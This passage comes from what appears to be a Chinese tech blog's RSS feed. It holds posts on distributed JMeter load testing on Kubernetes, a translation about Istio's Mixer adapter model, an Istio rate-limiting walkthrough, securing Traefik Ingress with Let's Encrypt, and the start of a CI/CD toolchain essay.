summary +    302 in 00:01:16 =    4.0/s Avg:  2967 Min:  2627 Max:  5457 Err:     0 (0.00%) Active: 0 Started: 20 Finished: 20
summary +     98 in 00:00:00 = 3062.5/s Avg:  3270 Min:  2635 Max:  7192 Err:     0 (0.00%) Active: 0 Started: 20 Finished: 20
summary =    400 in 00:01:16 =    5.3/s Avg:  3041 Min:  2627 Max:  7192 Err:     0 (0.00%)
Tidying up remote @ Thu Nov 16 07:25:31 GMT 2017 (1510817131966)
... end of run
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，成功配置远程负载服务器之后，测试开始，最后成功完成。&lt;/p&gt;

&lt;h2 id=&#34;statefulset-源码&#34;&gt;Statefulset 源码&lt;/h2&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: apps/v1beta1
kind: StatefulSet
metadata:
  name: jnode
  labels:
    app: jmeter
    component: node
spec:
  serviceName: jfarm
  replicas: 2
  selector:
    matchLabels:
      app: jmeter
      component: node
  template:
    metadata:
      labels:
        app: jmeter
        component: node
      annotations:
        security.alpha.kubernetes.io/sysctls: net.ipv4.ip_local_port_range=10000 65000,net.ipv4.tcp_syncookies=1
    spec:
      affinity:
        podAntiAffinity:
          preferredDuringSchedulingIgnoredDuringExecution:
          - weight: 100
            podAffinityTerm:
              topologyKey: kubernetes.io/hostname
              labelSelector:
                matchExpressions:
                - key: app
                  operator: In
                  values:
                  - jmeter
                - key: component
                  operator: In
                  values:
                  - node
      restartPolicy: Always
      containers:
      - name: jmeter
        image: dustise/jmeter-server
        ports:
        - name: server
          containerPort: 1099
        - name: rmi
          containerPort: 20000
        env:
        - name: RMI_HOST
          valueFrom:
            fieldRef:
              fieldPath: status.podIP
---
apiVersion: v1
kind: Service
metadata:
  name: jfarm
  labels:
    app: jmeter
spec:
  clusterIP: None
  ports:
  - port: 1099
    name: server
  selector:
    app: jmeter
    component: node
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>试译：Mixer 的适配器模型</title>
      <link>/post/mixer-modal-of-istio/</link>
      <pubDate>Fri, 10 Nov 2017 09:53:02 +0800</pubDate>
      <guid>/post/mixer-modal-of-istio/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://istio.io/blog/2017/adapter-model.html&#34; target=&#34;_blank&#34;&gt;Mixer Adapter Model&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Mixer 插件架构概述&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Istio 0.2 引入了新的 Mixer 适配器模型，从而具有了更大的灵活性去接入各种基础设施后端。本文尝试讲述这一模型及其工作机制。&lt;/p&gt;

&lt;h2 id=&#34;为什么是适配器模型&#34;&gt;为什么是适配器模型？&lt;/h2&gt;

&lt;p&gt;各种基础设施都提供了用于支持服务构建的功能，例如访问控制、遥测、配额、计费等等。传统服务会直接和这些后端系统打交道，和后端紧密耦合，并集成其中的个性化语义以及用法。&lt;/p&gt;

&lt;p&gt;Mixer 服务构成了基础设施和 Istio 之间的抽象层。Istio 组件和运行于 Service Mesh 中的服务，借助 Mixer 的能力就能在不直接访问后端接口的情况下和这些后端进行交互。&lt;/p&gt;

&lt;p&gt;Mixer 除了作为应用和基础设施之间的隔离层之外，操作者还可以借助 Mixer 的中介模型，注入或者操作应用和后端之间的策略，例如哪些数据需要报告给哪些后端、哪些后端提供认证等。&lt;/p&gt;

&lt;p&gt;每种后端都有各自不同的接口和操作方式，因此 Mixer 需要有代码来支持这种差异，我们称这些内容为&lt;a href=&#34;https://github.com/istio/istio/wiki/Mixer-Adapter-Dev-Guide&#34; target=&#34;_blank&#34;&gt;适配器&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;适配器是 Go 包的形式存在的，直接链接到 Mixer 二进制中。如果缺省适配器无法满足特定的用例，创建自己的适配器也是比较简单的。&lt;/p&gt;

&lt;h2 id=&#34;哲学&#34;&gt;哲学&lt;/h2&gt;

&lt;p&gt;本质上 Mixer 这个模块就是用来处理属性和路由的。代理把&lt;a href=&#34;https://istio.io/docs/concepts/policy-and-control/attributes.html&#34; target=&#34;_blank&#34;&gt;属性&lt;/a&gt;作为前置检查和遥测报告的一部分发送出来，转换为对适配器的一系列调用。运维人员提供了用于描述如何将属性转换为适配器指令的配置。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://istio.io/docs/concepts/policy-and-control/img/mixer-config/machine.svg&#34; alt=&#34;Attribute Machine&#34; /&gt;&lt;/p&gt;

&lt;p&gt;配置是一个复杂的任务。有证据表明，绝大多数的服务中断都来自于配置错误。为了解决这一问题，Mixer 加入了很多限制来避免错误。例如在配置中使用强类型，以此保障在任何上下文中都只能使用有意义的属性或表达式。&lt;/p&gt;

&lt;h2 id=&#34;handler-适配器的配置&#34;&gt;Handler：适配器的配置&lt;/h2&gt;

&lt;p&gt;Mixer 使用的每个适配器都需要一些配置来进行操作。一般来说适配器需要一些数据进项实例化，例如后端的 URL、认证信息、缓存选项等等。每个适配器使用一个 &lt;a href=&#34;https://developers.google.com/protocol-buffers/&#34; target=&#34;_blank&#34;&gt;protobuf&lt;/a&gt; 消息来定义所需的配置数据。&lt;/p&gt;

&lt;p&gt;可以通过创建 &lt;a href=&#34;https://istio.io/docs/concepts/policy-and-control/mixer-config.html#handlers&#34; target=&#34;_blank&#34;&gt;Handler&lt;/a&gt; 的方式来为适配器提供配置。Handler 就是一套能让一个适配器就绪的完整配置。对同一个适配器可以有任意数量的 Handler，这样就可以在不同场景下复用了。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;例如：memquota 适配器，可以配置多个不同的 Handler，用于进行不同的限制。
或者同类服务的不同服务端点的实例&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;template-模板-适配器的输入结构-schema&#34;&gt;Template（模板？）：适配器的输入结构（Schema）&lt;/h2&gt;

&lt;p&gt;一个请求到达 Mesh 中的服务时，一般会发生两次对 Mixer 的调用，一次是前置检查，一次是遥测报告。每一次这种调用，Mixer 都需要调用一个或更多的适配器。不同的适配器需要不同的数据块作为输入来进行处理。例如日志适配器需要日志输入，指标适配器需要指标输入，认证适配器需要凭据输入。适配器在请求时消费的数据就是由 Mixer 的 &lt;a href=&#34;https://istio.io/docs/reference/config/mixer/template/&#34; target=&#34;_blank&#34;&gt;Template&lt;/a&gt; 来描述的。&lt;/p&gt;

&lt;p&gt;每个 Template 对应一个 protobuf 消息。在运行时一个 Templates 描述了一系列的发送给一或多个适配器的数据。适配器和 Template 是多对多的关系，其对应关系由开发者决定。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://istio.io/docs/reference/config/mixer/template/metric.html&#34; target=&#34;_blank&#34;&gt;Metric（指标）&lt;/a&gt;和&lt;a href=&#34;https://istio.io/docs/reference/config/mixer/template/logentry.html&#34; target=&#34;_blank&#34;&gt;Logentry（日志条目）&lt;/a&gt;是最重要的两个 Template，分别用于描述工作负载的一个指标和一条日志。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Template 定义同样来自于 Adapter&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;instances-实例-属性映射&#34;&gt;Instances(实例？) ：属性映射&lt;/h2&gt;

&lt;p&gt;创建 &lt;a href=&#34;https://istio.io/docs/concepts/policy-and-control/mixer-config.html#instances&#34; target=&#34;_blank&#34;&gt;Instance&lt;/a&gt; 用于决定把什么数据发送给特定的适配器。Instance 决定了 Mixer 如何把来自代理的属性拆分为各种数据然后分发给不同的适配器。&lt;/p&gt;

&lt;p&gt;一般来说需要使用 &lt;a href=&#34;https://istio.io/docs/concepts/policy-and-control/mixer-config.html#attribute-expressions&#34; target=&#34;_blank&#34;&gt;Attribute Expression&lt;/a&gt; 来创建 Instance。属性表达式的功能是使用属性和常量来生成可以给 Instance 字段赋值的结果。&lt;/p&gt;

&lt;p&gt;每个 Instance 字段都有类型，类型的定义来自于 Template，每个&lt;a href=&#34;https://github.com/istio/api/blob/master/mixer/v1/config/descriptor/value_type.proto&#34; target=&#34;_blank&#34;&gt;属性也有类型&lt;/a&gt;，然后每个属性表达式还是有类型。只有类型一致的情况才可以进行赋值。例如不能把整数型的表达式赋值给字符串字段。强类型设计的目的就是降低配置出错引发的风险。&lt;/p&gt;

&lt;h2 id=&#34;rules-规则-把数据分发给适配器&#34;&gt;Rules（规则）：把数据分发给适配器&lt;/h2&gt;

&lt;p&gt;拼图的最后一块就是 &lt;a href=&#34;https://istio.io/docs/concepts/policy-and-control/mixer-config.html#rules&#34; target=&#34;_blank&#34;&gt;Rules&lt;/a&gt;，他负责告诉 Mixer，哪个 Instance 应该在什么时候发送给哪个 Handler。每个 Rule 包含了一系列的 Instance，以及将要发送这些 Instance 的目标 Handler。Mixer 被触发以后，就会调用指定的 Handler，令其处理指定的 Instance。&lt;/p&gt;

&lt;p&gt;Rules 包含有匹配断言，这一断言是一个返回布尔值的属性表达式。只有断言成功的属性表达式才会触发 Handler。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;符合条件的 Instance 被发给 Handler&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;未来&#34;&gt;未来&lt;/h2&gt;

&lt;p&gt;我们一直在尝试提高适配器的使用和开发的端到端体验。例如计划中包含很多特性来帮助用户更方便的创建 Tempalte。另外表达式语言也在不断地发展和成熟。&lt;/p&gt;

&lt;p&gt;长期来看，我们在评估如何让适配器不再直接连入 Mixer 的方式，这样会更加方便的进行开发和使用。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;新的 Mixer 适配器模型，设计目的是提供一个有弹性的框架，以此支持开放的基础设施后端。&lt;/p&gt;

&lt;p&gt;Handler 为适配器提供了配置，Template 在运行时能够决定不同的适配器需要的数据种类，数据经由 Instance，被 Rules 发送给一个或多个 Handler。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://istio.io/docs/concepts/policy-and-control/&#34; target=&#34;_blank&#34;&gt;策略和控制&lt;/a&gt;中介绍了更多的 Mixer 架构的内容，&lt;a href=&#34;https://istio.io/docs/reference/config/mixer/&#34; target=&#34;_blank&#34;&gt;Mixer 参考&lt;/a&gt;包含更多的 Template、Handler 以及 Rules 的内容。&lt;a href=&#34;https://github.com/istio/istio/tree/master/samples/bookinfo/kube&#34; target=&#34;_blank&#34;&gt;Bookinfo 示例中&lt;/a&gt;提供了对应的示例文件。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Istio 的频率限制</title>
      <link>/post/rate-limit-with-istio/</link>
      <pubDate>Fri, 10 Nov 2017 08:24:46 +0800</pubDate>
      <guid>/post/rate-limit-with-istio/</guid>
      <description>

&lt;p&gt;本来这个应该是作为第三天“零散功能点”介绍的，结果目标规则部分遇到一个 bug 一直没得到修正，就拖
着了——然后后来发现自己这个想法挺无知的——零散的功能点非常多，非常大，而且文档非常弱，很难搞，只好
逐个介绍了。&lt;/p&gt;

&lt;h2 id=&#34;简介&#34;&gt;简介&lt;/h2&gt;

&lt;p&gt;调用频率限制这个功能其实也是比较常见的东西了。这里就不多做介绍了。下面简单粗暴的介绍一下测试要完
成的目标。&lt;/p&gt;

&lt;p&gt;测试中我们将使用两个服务，服务叫 workload，客户端叫 sleep，workload 服务正常返回群众喜闻乐见
的 “Hello World”，而 sleep 仅用来做 Shell 方便测试。&lt;/p&gt;

&lt;p&gt;测试过程将为 workload 建立规则：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;对于任意访问，十秒钟之内仅能访问两次；&lt;/li&gt;
&lt;li&gt;对于来自 sleep 的访问，十秒钟之内仅能访问一次&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;下面所有内容都在 default 命名空间进行&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;建立测试环境&#34;&gt;建立测试环境&lt;/h2&gt;

&lt;p&gt;编辑 workload.yaml 以及 sleep.yaml 之后，
我们使用如下命令运行(这两部分源码，只有些乌七八糟的标签和命名有点问题，其他很普通。
见最后页)&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;istioctl kube-inject -f workload.yaml | kubectl apply -f -
istioctl kube-inject -f sleep.yaml | kubectl apply -f -
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;kubectl get pods&lt;/code&gt; 确定 Pod 成功启动，也可以使用 curl 测试 NodePort，会得到 40x 的错误
页面。&lt;/p&gt;

&lt;h3 id=&#34;建立规则&#34;&gt;建立规则&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;quota.yaml&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这部分内容规则来自：&lt;code&gt;https://istio.io/docs/reference/config/mixer/template/quota.html&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;这个对象用于设置检测服务来源、目标的标准维度，下面我们设置的是利用服务名称来检测。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;这部分可能存在 bug，官方介绍的 source 定义是 &lt;code&gt;source.labels[&amp;quot;app&amp;quot;] | source.service | &amp;quot;unknown&amp;quot;&lt;/code&gt;
我的理解是说首先获取服务 Pod 的 app 标签内容，如果没有，再获取服务名称。但是后面我们会看到，
删除&lt;code&gt;source.labels[&amp;quot;app&amp;quot;]&lt;/code&gt;的定义之后，最终生效的依旧是 app 标签，这也是为什么给 workload 加上这么多奇怪标签的原因。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: config.istio.io/v1alpha2
kind: quota
metadata:
  name: requestcount
spec:
  dimensions:
    source: source.service | &amp;quot;unknown&amp;quot;
    sourceVersion: source.labels[&amp;quot;version&amp;quot;] | &amp;quot;unknown&amp;quot;
    destination:  destination.service | &amp;quot;unknown&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;ul&gt;
&lt;li&gt;handler.yaml&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这一对象的定义来自：&lt;code&gt;https://istio.io/docs/reference/config/mixer/adapters/memquota.html&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;下面的代码对应我们之前的目的，任意访问都是每 10 秒钟两次，而特定源和目标的访问则是每 10 秒钟一
次。&lt;/p&gt;

&lt;p&gt;其中 quotas 部分，name 字段的来源是上面的 quota.yaml&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;这个不知道是不是 bug，必须写上半个 fqdn。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;dimentions 字段则需要使用 quota.yaml 定义的维度。这里的维度可以比 quota.yaml 中定义的
维度宽松（也就是少，例如定义三个，只使用其中的两个），可以理解，这也符合匹配的规则。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: config.istio.io/v1alpha2
kind: memquota
metadata:
  name: handler
spec:
  quotas:
  - name: requestcount.quota.default
    maxAmount: 2
    validDuration: 10s
    overrides:
    - dimensions:
        destination: workload-pod.default.svc.cluster.local
        source: sleep.default.svc.cluster.local
      maxAmount: 1
      validDuration: 10s
&lt;/code&gt;&lt;/pre&gt;

&lt;ul&gt;
&lt;li&gt;rule.yaml&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这部分的定义参考：&lt;code&gt;https://istio.io/docs/reference/config/mixer/policy-and-telemetry-rules.html#istio.mixer.v1.config.Rule&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;这个对象的作用就是，对于符合筛选条件的服务调用，使用对应的 handler 进行处理。&lt;/p&gt;

&lt;p&gt;这里的 handler 和 requestcount 两个字段的内容，也需要是&lt;code&gt;实例名称.对象类型&lt;/code&gt;的方式。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: config.istio.io/v1alpha2
kind: rule
metadata:
  name: quota
spec:
  actions:
  - handler: handler.memquota
    instances:
    - requestcount.quota
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;测试运行&#34;&gt;测试运行&lt;/h2&gt;

&lt;h3 id=&#34;集群外&#34;&gt;集群外&lt;/h3&gt;

&lt;p&gt;使用 curl 重复访问 NodePort 三次，会发现第三次出现：&lt;code&gt;RESOURCE_EXHAUSTED:Quota is exhausted for: RequestCount#&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;这说明我们设置的通用规则生效了。&lt;/p&gt;

&lt;h3 id=&#34;集群内&#34;&gt;集群内&lt;/h3&gt;

&lt;p&gt;在 sleep pod 中同样执行 curl 三次，发现第二次就开始出现超限说明。&lt;/p&gt;

&lt;p&gt;上面两种情况，在超过时间窗口限制之后，都会自动恢复。&lt;/p&gt;

&lt;h2 id=&#34;幕后&#34;&gt;幕后&lt;/h2&gt;

&lt;p&gt;定义 quota 对象，在系统中会展现为一系列的计数器，计数器的维度就是quota 中的维度的笛卡尔积。如果在 validDuration 的时间窗口过期之前调用次数超过了 maxAmount 规定，Mixer 就会返回 RESOURCE_EXHAUSTED 给 Envoy，Envoy 则会反馈 429 代码给调用方。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;文档不完善的开源系统。。坑真大啊！&lt;/p&gt;

&lt;h2 id=&#34;源码&#34;&gt;源码&lt;/h2&gt;

&lt;h3 id=&#34;workload-的-deployment-和-service&#34;&gt;Workload 的 Deployment 和 Service：&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  labels:
    app: workload-app
    version: http200
  name: workload-200
spec:
  replicas: 1
  selector:
    matchLabels:
      app: workload-pod
      version: http200
  template:
    metadata:
      creationTimestamp: null
      labels:
        app: workload-pod
        version: http200
    spec:
      containers:
      - image: php:7.0-apache
        imagePullPolicy: IfNotPresent
        name: http200
        ports:
        - containerPort: 80
          name: http
          protocol: TCP
      dnsPolicy: ClusterFirst
      restartPolicy: Always
---
apiVersion: v1
kind: Service
metadata:
  labels:
    app: workload-service
    version: http200
  name: workload-200
spec:
  ports:
  - name: http
    port: 80
    protocol: TCP
    targetPort: 80
    nodePort: 30200
  selector:
    app: workload-pod
    version: http200
  sessionAffinity: None
  type: NodePort
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;sleep-的定义&#34;&gt;Sleep 的定义&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Service
metadata:
  name: sleep
  labels:
    app: sleep
spec:
  ports:
  - port: 80
    name: http
  selector:
    app: sleep
---
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: sleep
spec:
  replicas: 1
  template:
    metadata:
      labels:
        app: sleep
    spec:
      containers:
      - name: sleep
        image: tutum/curl
        command: [&amp;quot;/bin/sleep&amp;quot;,&amp;quot;infinity&amp;quot;]
        imagePullPolicy: IfNotPresent
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>使用 Let&#39;s Encrypt 轻松加固 Traefik Ingress Controller</title>
      <link>/post/acme-and-traefik-on-k8s/</link>
      <pubDate>Sun, 05 Nov 2017 06:49:52 +0800</pubDate>
      <guid>/post/acme-and-traefik-on-k8s/</guid>
      <description>

&lt;p&gt;Traefik 是一个现代 HTTP 反向代理和负载均衡服务器，支持众多后端（Docker、Swarm、Kubernetes、Marathon 等等）下的动态配置。&lt;/p&gt;

&lt;p&gt;Ingress 是 Kubernetes 对外暴露服务的一种方式，可以通过域名、路径等方式，将外部请求转发给集群的内部服务。&lt;/p&gt;

&lt;p&gt;Let&amp;rsquo;s Encrypt 是一个于数字证书认证机构，通过自动化方式免费提供 SSL/TLS 证书。&lt;/p&gt;

&lt;p&gt;好了凑够一百字了应该，现在开始说正经事。&lt;/p&gt;

&lt;p&gt;上面三个东西合起来的话，这篇文章的目的就很清楚了，找个免费的法子把 Kubernetes 的服务升级成高大上的 https。&lt;/p&gt;

&lt;h2 id=&#34;准备工作&#34;&gt;准备工作&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Ingress 首先需要一个域名来工作。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;使用&lt;code&gt;htdigest -c user.dat traefik guest&lt;/code&gt;命令，创建一个名为 guest 的用户，并存储在 user.dat 中，用于后面的密码验证。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;为 Traefik 准备一个 PVC，用于存储 ACME 生成的认证文件，这里我们命名为 traefik。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;加载这一 PVC，并在其中生成空文件&lt;code&gt;acme.json&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;chmod 600 acme.json&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;部署-traefik&#34;&gt;部署 Traefik&lt;/h2&gt;

&lt;h3 id=&#34;rbac&#34;&gt;RBAC&lt;/h3&gt;

&lt;p&gt;在启用了 RBAC 的集群上，需要首先为 Traefik 创建相关的角色绑定：&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/containous/traefik/tree/master/examples/k8s/traefik-rbac.yaml&#34; target=&#34;_blank&#34;&gt;https://github.com/containous/traefik/tree/master/examples/k8s/traefik-rbac.yaml&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&#34;configmap&#34;&gt;Configmap&lt;/h3&gt;

&lt;p&gt;创建配置文件：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-toml&#34;&gt;# 开放两个 Ingress 端口
defaultEntryPoints = [&amp;quot;http&amp;quot;, &amp;quot;https&amp;quot;]
logLevel = &amp;quot;INFO&amp;quot;

# 启用 Kubernetes 支持
[kubernetes]

# 启用 Web Dashboard
[web]
address = &amp;quot;:8080&amp;quot;

[entryPoints]
  [entryPoints.http]
  address = &amp;quot;:80&amp;quot;
    # http 访问自动转向到 https
    [entryPoints.http.redirect]
    entryPoint = &amp;quot;https&amp;quot;
  [entryPoints.https]
  address = &amp;quot;:443&amp;quot;
  [entryPoints.https.auth.digest]
    # 这一内容来自前面生成的 user.dat，所有服务都启用这一验证
    users = [&amp;quot;supervisor:traefik:a47ec349f54a92ba4b00a740950384f7&amp;quot;]
    [entryPoints.https.tls]

# Let&#39;s Encrypt 配置
[acme]

email = &amp;quot;acme@fleeto.us&amp;quot;
# 刚才我们 PVC 中的文件
storage = &amp;quot;/var/data/acme.json&amp;quot;
entryPoint = &amp;quot;https&amp;quot;

# 生成这些域名的证书
[[acme.domains]]
main = &amp;quot;fake-domain.com&amp;quot;
sans = [&amp;quot;traefik.fake-domain.com&amp;quot;, &amp;quot;kibana.fake-domain.com&amp;quot;, &amp;quot;prometheus.fake-domain.com&amp;quot;, &amp;quot;grafana.fake-domain.com&amp;quot;, &amp;quot;traefik.fake-domain.com&amp;quot;,  &amp;quot;other.fake-domain.com&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;使用配置文件创建一个 ConfigMap&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;kubectl create cm traefik --from-file config.toml --dry-run -o yaml &amp;gt; config.map.yaml
kubectl apply -f config.map.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;workload&#34;&gt;Workload&lt;/h3&gt;

&lt;p&gt;官方网站提供了 Deployment 和 DaemonSet 两种形式的部署方案，这里我们使用 Deployment，因为涉及到 ACME 的存储，以及一些认证配置，所以这里我们需要对其进行一些修改：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;源文件：&lt;a href=&#34;https://github.com/containous/traefik/tree/master/examples/k8s/traefik-deployment.yaml&#34; target=&#34;_blank&#34;&gt;https://github.com/containous/traefik/tree/master/examples/k8s/traefik-deployment.yaml&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;# 参数修改为
args:
  - -c
  - /etc/traefik/config.toml

# 加载 PVC 和配置文件
volumeMounts:
- name: config
  mountPath: /etc/traefik
- name: data
  mountPath: /var/data
volumes:
- name: config
configMap:
  name: traefik
- name: data
persistentVolumeClaim:
  claimName: traefik
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;service&#34;&gt;Service&lt;/h3&gt;

&lt;p&gt;前面提到 Traefik 自带一个 Dashboard，我们不希望他随意暴露，因此这里拆分为两个服务：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;# Ingress
kind: Service
apiVersion: v1
metadata:
  name: traefik-ingress-service
  namespace: kube-system
spec:
  selector:
    k8s-app: traefik-ingress-lb
  ports:
    - protocol: TCP
      port: 80
      name: http
    - protocol: TCP
      port: 443
      name: https
  type: LoadBalancer
---
# Dashboard
kind: Service
apiVersion: v1
metadata:
  name: traefik-admin-service
  namespace: kube-system
spec:
  selector:
    k8s-app: traefik-ingress-lb
  ports:
    - protocol: TCP
      port: 8080
  type: ClusterIP
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;使用 Kubectl 运行之后，等待 Pod 启动。&lt;/p&gt;

&lt;h2 id=&#34;创建-ingress-resource&#34;&gt;创建 Ingress Resource&lt;/h2&gt;

&lt;p&gt;我们为&lt;code&gt;traefik-admin-service&lt;/code&gt;启用域名为&lt;code&gt;traefik.fake-domain.com&lt;/code&gt;的 Ingress：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: extensions/v1beta1
kind: Ingress
metadata:
  name: traefik
spec:
  tls:
  - hosts:
    - traefik.fake-domain.com
  rules:
  - host: traefik.fake-domain.com
    http:
      paths:
      - path: /
        backend:
          serviceName: traefik-admin-service
          servicePort: 8080
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Ingress 资源创建之后，我们可以使用&lt;code&gt;http://traefik.fake-domain.com&lt;/code&gt;访问这一服务，会看到根据我们的定义：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;发生了重定向，并成功转向 https 端口；&lt;/li&gt;
&lt;li&gt;https 证书是 Let&amp;rsquo;s Encrypt 发放的权威证书；&lt;/li&gt;
&lt;li&gt;弹出了认证窗口，输入之前我们定义的用户名密码，就能够看到 Traefik 的 Dashboard 页面了。&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;实际上还可以使用 ETCD 等 KV 数据库来作为 Traefik 的存储后端，就省掉了一个卷的麻烦了。&lt;/p&gt;
&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>CI/CD 工具链的分分合合</title>
      <link>/post/cicd-toolchain-or-toolset/</link>
      <pubDate>Fri, 03 Nov 2017 04:49:29 +0800</pubDate>
      <guid>/post/cicd-toolchain-or-toolset/</guid>
      <description>

&lt;h2 id=&#34;作案动机&#34;&gt;作案动机&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;一种对 ci/cd 工具的轻量化和解耦的尝试？&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Jenkins 的传统集群方式，是使用不同环境的服务器构成不同能力的 Jenkins 节点，由主节点根据任务
环节的需要，调度不同能力的子节点来完成构建或部署任务。&lt;/p&gt;

&lt;p&gt;进入容器云时代，情况发生了变化，我们可以使用不同能力的 Jenkins 镜像，使用 Kubernetes 插件来
完成这种任务的拆分和调度，为此，我构建了一个包含所有我们平时用到的工具的 Jenkins 镜像，简化了
节点的扩展和选择过程。&lt;/p&gt;

&lt;p&gt;然而随着学习和应用的深入，我意识到这种做法有几个问题：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;DevOps 中隐含着发挥个人能力的愿景，工具链的所谓大而全，只不过是在画一个比较大的圈，使用这样的一套 Jenkins，还是要被其中所包含的仅有的工具中进行选择，对身陷其中的技术人员绝不能说是友好，也绝不是鼓励各展所长的态度。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;现有的功能测试、接口测试、压力测试等工具，越来越专业化，往往会有各自的工作集群调度甚至是托管方案，例如 selenium grid、JMeter 集群等。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;同样的测试工作，可能有多种工具都可以完成，例如一个 Restful 的接口测试，不管是 JMeter 还是Postman，或者 SoapUI 以及五花八门的自有工具，都可以完成这样的工作。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;各种 DevOps 以及微服务管控和治理平台会有各自的工具链构成以及扩展方案。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;让各种工具自成镜像，无疑对镜像尺寸和更新速度都会有更好的支持。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这样就让我产生一个新的思路：能不能让 Jenkins 回归到一个原始状态，只负责问题的定义、任务的分发和结果的归集呢？于是就有了这样的一点尝试。&lt;/p&gt;

&lt;p&gt;这一尝试的思路是，Jenkins 镜像/容器只使用插件和一些 Shell 脚本，同外部的调度能力（例如
Docker 的容器或者 Kubernetes 的任务等）进行交互，利用网络和共享存储，来实现任务的分发和协调
以及最后的结果汇聚。&lt;/p&gt;

&lt;p&gt;下面以 JMeter 为例，进行一个简单的压力测试，测试环境为了节省起见，使用的是 Docker 加本地目录
共享的方式，这种方式也可以很方便的扩展为 Kubernetes 的 Job + PV/PVC 方式。&lt;/p&gt;

&lt;h2 id=&#34;镜像&#34;&gt;镜像&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Jenkins: dustise/jenkins&lt;/p&gt;&lt;/li&gt;

